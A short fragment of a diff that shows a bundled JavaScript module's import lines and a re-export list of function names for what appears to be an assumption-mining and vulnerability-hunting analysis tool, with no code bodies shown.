import "./chunk-DW5UWPFY.js";
|
|
53
|
+
import "./chunk-IR537GON.js";
|
|
54
|
+
export {
|
|
55
|
+
ASSUMPTION_MODEL_VERSION,
|
|
56
|
+
assumptionsToHuntPlan,
|
|
57
|
+
buildFocusedCandidates,
|
|
58
|
+
buildFunctionBodyIndex,
|
|
59
|
+
composeGate,
|
|
60
|
+
computeEstablisherSets,
|
|
61
|
+
computeEstablisherWrappers,
|
|
62
|
+
crossCheckAssumptions,
|
|
63
|
+
dualViewSeamDecision,
|
|
64
|
+
heldLockIdsAt,
|
|
65
|
+
isCrossApiAssumption,
|
|
66
|
+
isMechanizableEstablisher,
|
|
67
|
+
loadAssumptionModel,
|
|
68
|
+
makeSkepticVerifier,
|
|
69
|
+
mineAssumptions,
|
|
70
|
+
normalizeAssumptions,
|
|
71
|
+
objectFieldAccesses,
|
|
72
|
+
objectTypeToken,
|
|
73
|
+
runAssumptionHunt,
|
|
74
|
+
scanDualViewContexts,
|
|
75
|
+
scanViolatingContexts,
|
|
76
|
+
scoreDualViewWeaponizability,
|
|
77
|
+
storeAssumptionModel,
|
|
78
|
+
subjectSelfEnforces
|
|
79
|
+
};
|